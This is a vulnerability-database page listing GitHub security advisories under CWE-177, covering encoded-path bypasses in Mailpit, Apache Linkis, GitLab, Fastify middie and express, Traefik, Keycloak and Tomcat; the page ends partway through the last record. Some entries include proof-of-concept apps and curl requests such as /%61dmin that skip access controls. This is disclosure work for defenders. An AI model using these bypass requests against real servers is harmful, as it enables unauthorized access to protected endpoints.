CWE-177
AllowedImproper Handling of URL Encoding (Hex Encoding)
Abstraction: Variant · Status: Draft
The product does not properly handle when all or part of an input has been URL encoded.
38 vulnerabilities reference this CWE, most recent first.
GHSA-8R62-W5WH-FC5M
Vulnerability from github – Published: 2026-08-20 21:34 – Updated: 2026-09-02 23:40Summary
The cross-site WebSocket hijacking fix was reimplemented as an origin check gated on a raw-URI prefix test, but Go's ServeMux routes on the percent-decoded path, so requesting /%61pi/events reaches the WebSocket handler while skipping the only origin control, and the upgrader itself accepts every origin. Confirmed at HEAD 408b30d. Affects 1.29.0 through 1.30.5.
The defect
Two halves that were each correct in isolation. server/websockets/client.go accepts any origin and delegates the check elsewhere:
var upgrader = websocket.Upgrader{ // line 33
...
CheckOrigin: func(_ *http.Request) bool { // line 37
// origin is checked via server.go's CORS settings
return true // line 39
},
}
server/server.go performs that check but keys it on the RAW request target:
if strings.HasPrefix(r.RequestURI, config.Webroot+"api/") || htmlPreviewRouteRe.MatchString(r.RequestURI) { // line 320
if allowed := corsOriginAccessControl(r); !allowed {
http.Error(w, "Blocked due to CORS violation", http.StatusForbidden)
return
}
r.RequestURI is the untouched wire target; Go's ServeMux routes on the percent-DECODED path. So for /%61pi/events: strings.HasPrefix("/%61pi/events", "/api/") is FALSE (origin check skipped), ServeMux decodes %61 to "a" and routes to /api/events, and the upgrader's CheckOrigin returns true.
Measured, default config, no auth: /api/events with Origin: https://evil.example returns 403; /%61pi/events with the same Origin returns 101 Switching Protocols and begins streaming. With a message delivered over SMTP while the cross-origin socket was open, the attacker origin received the ID, Message-Id, From, To, Cc, Bcc, Subject ("SECRET password reset token abc123"), size, tags, and body Snippet, live. WebSockets are not subject to CORS response-header enforcement, so the absent Access-Control-Allow-Origin header provides no protection once the upgrade succeeds.
Regression provenance: commit 6f1f4f3 (2026-01-10, v1.28.2) fixed CVE-2026-22689 by DELETING CheckOrigin; commit a63bcd9 (2026-01-31, first in v1.29.0) reintroduced CheckOrigin returning true and replaced the protection with the bypassable raw-prefix test.
Attacker model and verification
Any website the developer visits while Mailpit is running. No credentials, no ability to send mail, no interaction beyond visiting a page. Requires Mailpit without --ui-auth-file (the default, and the same precondition as the original CVE). The bypass was measured live against a real Mailpit instance on loopback, including the 403-versus-101 control pair; authentication still holds (the encoded path returns 401 when --ui-auth-file is set); browser reachability was confirmed against the WHATWG URL parser, which preserves %61.
Suggested fix
Do not make security decisions on r.RequestURI. Key the check on r.URL.Path, the decoded value the router uses, so the gate and the route agree. Better, restore a real CheckOrigin on the upgrader so the WebSocket carries its own origin enforcement rather than depending on a middleware prefix match. Secondary (Low, not claimed as XSS): server/apiv1/message.go lines 154-155 echo an attacker-chosen Content-Type with Content-Disposition: inline; this is blocked today by the nonce CSP.
Tooling
I used AI assistance while investigating. The bypass was measured live against a real Mailpit instance on loopback, including the 403-versus-101 control pair and the authenticated 401 case, and I separately confirmed at HEAD the CheckOrigin returning true with its delegating comment and the RequestURI-keyed prefix gate.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.30.5"
},
"package": {
"ecosystem": "Go",
"name": "github.com/axllent/mailpit"
},
"ranges": [
{
"events": [
{
"introduced": "1.29.0"
},
{
"fixed": "1.30.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67448"
],
"database_specific": {
"cwe_ids": [
"CWE-177",
"CWE-200",
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-20T21:34:58Z",
"nvd_published_at": "2026-08-20T22:17:56Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe cross-site WebSocket hijacking fix was reimplemented as an origin check gated on a raw-URI prefix test, but Go\u0027s ServeMux routes on the percent-decoded path, so requesting /%61pi/events reaches the WebSocket handler while skipping the only origin control, and the upgrader itself accepts every origin. Confirmed at HEAD 408b30d. Affects 1.29.0 through 1.30.5.\n\n## The defect\n\nTwo halves that were each correct in isolation. server/websockets/client.go accepts any origin and delegates the check elsewhere:\n\n```go\nvar upgrader = websocket.Upgrader{ // line 33\n ...\n CheckOrigin: func(_ *http.Request) bool { // line 37\n // origin is checked via server.go\u0027s CORS settings\n return true // line 39\n },\n}\n```\n\nserver/server.go performs that check but keys it on the RAW request target:\n\n```go\nif strings.HasPrefix(r.RequestURI, config.Webroot+\"api/\") || htmlPreviewRouteRe.MatchString(r.RequestURI) { // line 320\n if allowed := corsOriginAccessControl(r); !allowed {\n http.Error(w, \"Blocked due to CORS violation\", http.StatusForbidden)\n return\n }\n```\n\nr.RequestURI is the untouched wire target; Go\u0027s ServeMux routes on the percent-DECODED path. So for /%61pi/events: `strings.HasPrefix(\"/%61pi/events\", \"/api/\")` is FALSE (origin check skipped), ServeMux decodes %61 to \"a\" and routes to /api/events, and the upgrader\u0027s CheckOrigin returns true.\n\nMeasured, default config, no auth: /api/events with `Origin: https://evil.example` returns 403; /%61pi/events with the same Origin returns 101 Switching Protocols and begins streaming. With a message delivered over SMTP while the cross-origin socket was open, the attacker origin received the ID, Message-Id, From, To, Cc, Bcc, Subject (\"SECRET password reset token abc123\"), size, tags, and body Snippet, live. WebSockets are not subject to CORS response-header enforcement, so the absent Access-Control-Allow-Origin header provides no protection once the upgrade succeeds.\n\nRegression provenance: commit 6f1f4f3 (2026-01-10, v1.28.2) fixed CVE-2026-22689 by DELETING CheckOrigin; commit a63bcd9 (2026-01-31, first in v1.29.0) reintroduced CheckOrigin returning true and replaced the protection with the bypassable raw-prefix test.\n\n## Attacker model and verification\n\nAny website the developer visits while Mailpit is running. No credentials, no ability to send mail, no interaction beyond visiting a page. Requires Mailpit without --ui-auth-file (the default, and the same precondition as the original CVE). The bypass was measured live against a real Mailpit instance on loopback, including the 403-versus-101 control pair; authentication still holds (the encoded path returns 401 when --ui-auth-file is set); browser reachability was confirmed against the WHATWG URL parser, which preserves %61.\n\n## Suggested fix\n\nDo not make security decisions on r.RequestURI. Key the check on r.URL.Path, the decoded value the router uses, so the gate and the route agree. Better, restore a real CheckOrigin on the upgrader so the WebSocket carries its own origin enforcement rather than depending on a middleware prefix match. Secondary (Low, not claimed as XSS): server/apiv1/message.go lines 154-155 echo an attacker-chosen Content-Type with Content-Disposition: inline; this is blocked today by the nonce CSP.\n\n## Tooling\n\nI used AI assistance while investigating. The bypass was measured live against a real Mailpit instance on loopback, including the 403-versus-101 control pair and the authenticated 401 case, and I separately confirmed at HEAD the CheckOrigin returning true with its delegating comment and the RequestURI-keyed prefix gate.",
"id": "GHSA-8r62-w5wh-fc5m",
"modified": "2026-09-02T23:40:59Z",
"published": "2026-08-20T21:34:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/security/advisories/GHSA-8r62-w5wh-fc5m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67448"
},
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/commit/fbe5e006c3f1682b819df58b4a932d7a84920be9"
},
{
"type": "PACKAGE",
"url": "https://github.com/axllent/mailpit"
},
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/releases/tag/v1.30.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Mailpit: WebSocket origin check bypass via percent-encoded path (regression of CVE-2026-22689)"
}
GHSA-C399-Q49H-QWC8
Vulnerability from github – Published: 2026-01-19 09:30 – Updated: 2026-01-21 01:03A vulnerability in Apache Linkis.
Problem Description
When using the JDBC engine and data source functionality, if the URL parameter configured on the frontend has undergone multiple rounds of URL encoding, it may bypass the system's checks. This bypass can trigger a vulnerability that allows unauthorized access to system files via JDBC parameters.
Scope of Impact
This issue affects Apache Linkis: from 1.3.0 through 1.7.0.
Severity level
moderate Solution Continuously check if the connection information contains the "%" character; if it does, perform URL decoding.
Users are recommended to upgrade to version 1.8.0, which fixes the issue.
More questions about this vulnerability can be discussed here: https://lists.apache.org/list?dev@linkis.apache.org:2025-9:cve
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.linkis:linkis"
},
"ranges": [
{
"events": [
{
"introduced": "1.3.0"
},
{
"fixed": "1.8.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-29847"
],
"database_specific": {
"cwe_ids": [
"CWE-177",
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-21T01:03:19Z",
"nvd_published_at": "2026-01-19T09:16:01Z",
"severity": "HIGH"
},
"details": "A vulnerability in Apache Linkis.\n\nProblem Description\n\nWhen using the JDBC engine and data source functionality, if the URL parameter configured on the frontend has undergone multiple rounds of URL encoding, it may bypass the system\u0027s checks. This bypass can trigger a vulnerability that allows unauthorized access to system files via JDBC parameters.\n\nScope of Impact\n\n\nThis issue affects Apache Linkis: from 1.3.0 through 1.7.0.\n\nSeverity level\n\n\nmoderate\nSolution\nContinuously check if the connection information contains the \"%\" character; if it does, perform URL decoding.\n\nUsers are recommended to upgrade to version 1.8.0, which fixes the issue.\n\n\n\n\nMore questions about this vulnerability can be discussed here:\u00a0 https://lists.apache.org/list?dev@linkis.apache.org:2025-9:cve",
"id": "GHSA-c399-q49h-qwc8",
"modified": "2026-01-21T01:03:19Z",
"published": "2026-01-19T09:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29847"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/linkis"
},
{
"type": "WEB",
"url": "https://lists.apache.org/list?dev@linkis.apache.org:2025-9:cve"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/03l5rfkgdt022o75jp8x4tzpqxz8g057"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/09/19/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apache Linkis: Arbitrary File Read via Double URL Encoding Bypass"
}
GHSA-CF8F-2F35-R5WX
Vulnerability from github – Published: 2025-11-15 09:30 – Updated: 2025-11-15 09:30GitLab has remediated an issue in GitLab EE affecting all versions from 18.4 before 18.4.4, and 18.5 before 18.5.2 that could have allowed an authenticated user to gain CSRF tokens by exploiting improper input validation in repository references combined with redirect handling weaknesses.
{
"affected": [],
"aliases": [
"CVE-2025-11990"
],
"database_specific": {
"cwe_ids": [
"CWE-177",
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-15T08:15:45Z",
"severity": "LOW"
},
"details": "GitLab has remediated an issue in GitLab EE affecting all versions from 18.4 before 18.4.4, and 18.5 before 18.5.2 that could have allowed an authenticated user to gain CSRF tokens by exploiting improper input validation in repository references combined with redirect handling weaknesses.",
"id": "GHSA-cf8f-2f35-r5wx",
"modified": "2025-11-15T09:30:25Z",
"published": "2025-11-15T09:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11990"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3257843"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/releases/2025/11/12/patch-release-gitlab-18-5-2-released"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/577850"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CXRG-G7R8-W69P
Vulnerability from github – Published: 2026-01-20 16:34 – Updated: 2026-01-20 16:34Summary
A security vulnerability exists in @fastify/middie where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.
Details
The vulnerability is caused by how middie matches requests against registered middleware paths.
- Regex Generation: When fastify.use('/admin', ...) is called,
middieusespath-to-regexpto generate a regular expression for the path/admin. - Request Matching: For every request,
middieexecutes this regular expression againstreq.url(orreq.originalUrl). - The Flaw:
req.urlin Fastify contains the raw, undecoded path string.- The generated regex expects a decoded path (e.g.,
/admin). - If a request is sent to
/%61dmin, the regex comparison fails (/^\/admin/does not match/%61dmin). middieassumes the middleware does not apply and callsnext().
- The generated regex expects a decoded path (e.g.,
- Route Execution: The request proceeds to Fastify's internal router, which performs URL decoding. It correctly identifies
/%61dminas/adminand executes the corresponding route handler.
Incriminated Source Code:
In the provided middie source:
// ... inside Holder function
if (regexp) {
const result = regexp.exec(url) // <--- 'url' is undecoded.
if (result) {
// ... executes middleware ...
} else {
that.done() // <--- Middleware skipped on mismatch
}
}
PoC
Step 1: Run the following Fastify application (save as app.js):
const fastify = require('fastify')({ logger: true });
async function start() {
// Register middie for Express-style middleware support
await fastify.register(require('@fastify/middie'));
// Middleware to block /admin route
fastify.use('/admin', (req, res, next) => {
res.statusCode = 403;
res.end('Forbidden: Access to /admin is blocked');
});
// Sample routes
fastify.get('/', async (request, reply) => {
return { message: 'Welcome to the homepage' };
});
fastify.get('/admin', async (request, reply) => {
return { message: 'Admin panel' };
});
// Start server
try {
await fastify.listen({ port: 3008 });
} catch (err) {
fastify.log.error(err);
process.exit(1);
}
}
start();
Step 2: Execute the attack.
1. Normal Request (Blocked):
bash
curl http://localhost:3008/admin
# Output: Forbidden: Access to /admin is blocked
2. Bypass Request (Successful):
bash
curl http://localhost:3008/%61dmin
# Output: {"message":"Admin panel"}
Impact
- Type: Authentication/Authorization Bypass.
- Affected Components: Applications using
@fastify/middieto apply security controls (auth, rate limiting, IP filtering) to specific route prefixes. - Severity: High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.3"
},
"package": {
"ecosystem": "npm",
"name": "@fastify/middie"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22031"
],
"database_specific": {
"cwe_ids": [
"CWE-177"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-20T16:34:50Z",
"nvd_published_at": "2026-01-19T16:15:54Z",
"severity": "HIGH"
},
"details": "### Summary\nA security vulnerability exists in `@fastify/middie` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.\n\n### Details\nThe vulnerability is caused by how `middie` matches requests against registered middleware paths.\n\n1. **Regex Generation**: When [fastify.use(\u0027/admin\u0027, ...)](cci:1://file:///Users/harshjaiswal/work/research/nest/packages/platform-fastify/adapters/fastify-adapter.ts:733:2-741:3) is called, `middie` uses `path-to-regexp` to generate a regular expression for the path `/admin`.\n2. **Request Matching**: For every request, `middie` executes this regular expression against `req.url` (or `req.originalUrl`).\n3. **The Flaw**: `req.url` in Fastify contains the **raw, undecoded** path string.\n * The generated regex expects a decoded path (e.g., `/admin`).\n * If a request is sent to `/%61dmin`, the regex comparison fails (`/^\\/admin/` does not match `/%61dmin`).\n * `middie` assumes the middleware does not apply and calls `next()`.\n4. **Route Execution**: The request proceeds to Fastify\u0027s internal router, which performs URL decoding. It correctly identifies `/%61dmin` as `/admin` and executes the corresponding route handler.\n\n**Incriminated Source Code:**\nIn the provided `middie` source:\n```javascript\n// ... inside Holder function\nif (regexp) {\n const result = regexp.exec(url) // \u003c--- \u0027url\u0027 is undecoded.\n if (result) {\n // ... executes middleware ...\n } else {\n that.done() // \u003c--- Middleware skipped on mismatch\n }\n}\n```\n\n### PoC\n**Step 1:** Run the following Fastify application (save as `app.js`):\n```javascript\nconst fastify = require(\u0027fastify\u0027)({ logger: true });\n\nasync function start() {\n // Register middie for Express-style middleware support\n await fastify.register(require(\u0027@fastify/middie\u0027));\n\n // Middleware to block /admin route\n fastify.use(\u0027/admin\u0027, (req, res, next) =\u003e {\n res.statusCode = 403;\n res.end(\u0027Forbidden: Access to /admin is blocked\u0027);\n });\n\n // Sample routes\n fastify.get(\u0027/\u0027, async (request, reply) =\u003e {\n return { message: \u0027Welcome to the homepage\u0027 };\n });\n\n fastify.get(\u0027/admin\u0027, async (request, reply) =\u003e {\n return { message: \u0027Admin panel\u0027 };\n });\n\n // Start server\n try {\n await fastify.listen({ port: 3008 });\n } catch (err) {\n fastify.log.error(err);\n process.exit(1);\n }\n}\n\nstart();\n```\n\n**Step 2:** Execute the attack.\n1. **Normal Request (Blocked):**\n ```bash\n curl http://localhost:3008/admin\n # Output: Forbidden: Access to /admin is blocked\n ```\n2. **Bypass Request (Successful):**\n ```bash\n curl http://localhost:3008/%61dmin\n # Output: {\"message\":\"Admin panel\"}\n ```\n\n### Impact\n* **Type:** Authentication/Authorization Bypass.\n* **Affected Components:** Applications using `@fastify/middie` to apply security controls (auth, rate limiting, IP filtering) to specific route prefixes.\n* **Severity:** High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.",
"id": "GHSA-cxrg-g7r8-w69p",
"modified": "2026-01-20T16:34:50Z",
"published": "2026-01-20T16:34:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fastify/middie/security/advisories/GHSA-cxrg-g7r8-w69p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22031"
},
{
"type": "WEB",
"url": "https://github.com/fastify/middie/pull/245"
},
{
"type": "WEB",
"url": "https://github.com/fastify/middie/commit/d44cd56eb724490babf7b452fdbbdd37ea2effba"
},
{
"type": "PACKAGE",
"url": "https://github.com/fastify/middie"
},
{
"type": "WEB",
"url": "https://github.com/fastify/middie/releases/tag/v9.1.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Fastify Middie Middleware Path Bypass"
}
GHSA-FVHJ-4QFH-Q2HM
Vulnerability from github – Published: 2023-12-05 18:11 – Updated: 2023-12-07 23:06Summary
When a request is sent to Traefik with a URL fragment, Traefik automatically URL encodes and forwards the fragment to the backend server. This violates the RFC because in the origin-form the URL should only contain the absolute path and the query.
When this is combined with another frontend proxy like Nginx, it can be used to bypass frontend proxy URI-based access control restrictions.
Details
For example, we have this Nginx configuration:
location /admin {
deny all;
return 403;
}
This can be bypassed when the attacker is requesting to /#/../admin
This won’t be vulnerable if the backend server follows the RFC and ignores any characters after the fragment.
However, if Nginx is chained with another reverse proxy which automatically URL encode the character # (Traefik) the URL will become
/%23/../admin
And allow the attacker to completely bypass the Access Restriction from the Nginx Front-End proxy.
Here is a diagram to summarize the attack:

PoC

This is the POC docker I've set up. It contains Nginx, Traefik proxies and a backend server running PHP.
https://drive.google.com/file/d/1vLnA0g7N7ZKhLNmHmuJ4JJjV_J2akNMt/view?usp=sharing
Impact
This allows the attacker to completely bypass the Access Restriction from Front-End proxy.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.10.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.0-beta5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-47106"
],
"database_specific": {
"cwe_ids": [
"CWE-177",
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-05T18:11:48Z",
"nvd_published_at": "2023-12-04T21:15:33Z",
"severity": "MODERATE"
},
"details": "### Summary\nWhen a request is sent to Traefik with a URL fragment, Traefik automatically URL encodes and forwards the fragment to the backend server. This violates the RFC because in the origin-form the URL should only contain the absolute path and the query.\n\nWhen this is combined with another frontend proxy like Nginx, it can be used to bypass frontend proxy URI-based access control\nrestrictions. \n\n### Details\nFor example, we have this Nginx configuration:\n\n```\nlocation /admin {\n deny all;\n return 403;\n}\n```\nThis can be bypassed when the attacker is requesting to /#/../admin\n\nThis won\u2019t be vulnerable if the backend server follows the RFC and ignores any characters after the fragment.\n\nHowever, if Nginx is chained with another reverse proxy which automatically URL encode the character # (Traefik) the URL will become\n\n/%23/../admin\n\nAnd allow the attacker to completely bypass the Access Restriction from the Nginx Front-End proxy.\n\nHere is a diagram to summarize the attack:\n\n\n\n### PoC\n\n\nThis is the POC docker I\u0027ve set up. It contains Nginx, Traefik proxies and a backend server running PHP.\n\nhttps://drive.google.com/file/d/1vLnA0g7N7ZKhLNmHmuJ4JJjV_J2akNMt/view?usp=sharing\n\n### Impact\nThis allows the attacker to completely bypass the Access Restriction from Front-End proxy.",
"id": "GHSA-fvhj-4qfh-q2hm",
"modified": "2023-12-07T23:06:09Z",
"published": "2023-12-05T18:11:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-fvhj-4qfh-q2hm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47106"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc7230#section-5.3.1"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.10.6"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.0.0-beta5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Traefik incorrectly processes fragment in the URL, leads to Authorization Bypass"
}
GHSA-G6Q3-96CP-5R5M
Vulnerability from github – Published: 2026-01-20 16:35 – Updated: 2026-01-20 16:35Summary
A security vulnerability exists in @fastify/express where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.
Details
The vulnerability is caused by how @fastify/express matches requests against registered middleware paths.
PoC
Step 1: Run the following Fastify application (save as app.js):
const fastify = require('fastify')({ logger: true });
async function start() {
// Register fastify-express for Express-style middleware support
await fastify.register(require('@fastify/express'));
// Middleware to block /admin route
fastify.use('/admin', (req, res, next) => {
res.statusCode = 403;
res.end('Forbidden: Access to /admin is blocked');
});
// Sample routes
fastify.get('/', async (request, reply) => {
return { message: 'Welcome to the homepage' };
});
fastify.get('/admin', async (request, reply) => {
return { message: 'Admin panel' };
});
fastify.get('/admin/dashboard', async (request, reply) => {
return { message: 'Admin dashboard' };
});
// Start server
try {
await fastify.listen({ port: 3000 });
} catch (err) {
fastify.log.error(err);
process.exit(1);
}
}
start();
Step 2: Execute the attack.
➜ ~ curl http://206.189.140.29:3000/%61dmin
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /%61dmin</pre>
</body>
</html>
(fastify express)
➜ ~ curl http://206.189.140.29:3000/%61dmin
{"message":"Admin panel"}
It differs from CVE-2026-22031 because this is a different npm module with its own code.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.0.2"
},
"package": {
"ecosystem": "npm",
"name": "@fastify/express"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22037"
],
"database_specific": {
"cwe_ids": [
"CWE-177",
"CWE-288"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-20T16:35:21Z",
"nvd_published_at": "2026-01-19T17:15:50Z",
"severity": "HIGH"
},
"details": "### Summary\nA security vulnerability exists in `@fastify/express` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.\n\n### Details\nThe vulnerability is caused by how `@fastify/express` matches requests against registered middleware paths.\n\n### PoC\n**Step 1:** Run the following Fastify application (save as `app.js`):\n\n```javascript\nconst fastify = require(\u0027fastify\u0027)({ logger: true });\n\nasync function start() {\n // Register fastify-express for Express-style middleware support\n await fastify.register(require(\u0027@fastify/express\u0027));\n\n // Middleware to block /admin route\n fastify.use(\u0027/admin\u0027, (req, res, next) =\u003e {\n res.statusCode = 403;\n res.end(\u0027Forbidden: Access to /admin is blocked\u0027);\n });\n\n // Sample routes\n fastify.get(\u0027/\u0027, async (request, reply) =\u003e {\n return { message: \u0027Welcome to the homepage\u0027 };\n });\n\n fastify.get(\u0027/admin\u0027, async (request, reply) =\u003e {\n return { message: \u0027Admin panel\u0027 };\n });\n\n fastify.get(\u0027/admin/dashboard\u0027, async (request, reply) =\u003e {\n return { message: \u0027Admin dashboard\u0027 };\n });\n\n // Start server\n try {\n await fastify.listen({ port: 3000 });\n } catch (err) {\n fastify.log.error(err);\n process.exit(1);\n }\n}\n\nstart();\n```\n\n**Step 2:** Execute the attack.\n\n```\n\u279c ~ curl http://206.189.140.29:3000/%61dmin\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead\u003e\n\u003cmeta charset=\"utf-8\"\u003e\n\u003ctitle\u003eError\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cpre\u003eCannot GET /%61dmin\u003c/pre\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\n(fastify express)\n\n\u279c ~ curl http://206.189.140.29:3000/%61dmin\n{\"message\":\"Admin panel\"}\n```\n\nIt differs from [CVE-2026-22031](https://nvd.nist.gov/vuln/detail/CVE-2026-22031) because this is a different npm module with its own code.",
"id": "GHSA-g6q3-96cp-5r5m",
"modified": "2026-01-20T16:35:21Z",
"published": "2026-01-20T16:35:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fastify/fastify-express/security/advisories/GHSA-g6q3-96cp-5r5m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22037"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fastify-express/commit/dc02a3fe1387f945143f22597baa42557d549a40"
},
{
"type": "PACKAGE",
"url": "https://github.com/fastify/fastify-express"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fastify-express/releases/tag/v4.0.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "@fastify/express vulnerable to Improper Handling of URL Encoding (Hex Encoding)"
}
GHSA-G8Q8-FGGX-9R3Q
Vulnerability from github – Published: 2022-12-13 19:44 – Updated: 2023-01-25 21:37Keycloak does not properly validate URLs included in a redirect. An attacker could construct a malicious request to bypass validation and access other URLs and potentially sensitive information within the domain, or possibly conduct further attacks.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 20.0.0"
},
"package": {
"ecosystem": "Maven",
"name": "org.keycloak:keycloak-parent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "20.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-3782"
],
"database_specific": {
"cwe_ids": [
"CWE-177",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-13T19:44:56Z",
"nvd_published_at": "2023-01-13T06:15:00Z",
"severity": "CRITICAL"
},
"details": "Keycloak does not properly validate URLs included in a redirect. An attacker could construct a malicious request to bypass validation and access other URLs and potentially sensitive information within the domain, or possibly conduct further attacks.",
"id": "GHSA-g8q8-fggx-9r3q",
"modified": "2023-01-25T21:37:00Z",
"published": "2022-12-13T19:44:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/security/advisories/GHSA-g8q8-fggx-9r3q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3782"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/pull/15982/commits/1987c942f527b9f3bbf2a86ba71ba8ae0154ac37"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2022-3782"
},
{
"type": "PACKAGE",
"url": "https://github.com/keycloak/keycloak"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Keycloak vulnerable to path traversal via double URL encoding "
}
GHSA-HCJR-322H-429R
Vulnerability from github – Published: 2026-07-14 09:31 – Updated: 2026-07-14 15:32Improper Handling of URL Encoding (Hex Encoding) vulnerability in Apache Tomcat's rewrite valve allowed security constraint bypass for some configurations.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.23, from 10.1.0-M1 through 10.1.56, from 9.0.0.M1 through 9.0.119, from 8.5.0 through 8.5.100. Other versions that have reached end of support may also be affected.
Users are recommended to upgrade to version 11.0.24, 10.1.57 or 9.0.120, which fix the issue.
{
"affected": [],
"aliases": [
"CVE-2026-59083"
],
"database_specific": {
"cwe_ids": [
"CWE-177"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T09:16:41Z",
"severity": "CRITICAL"
},
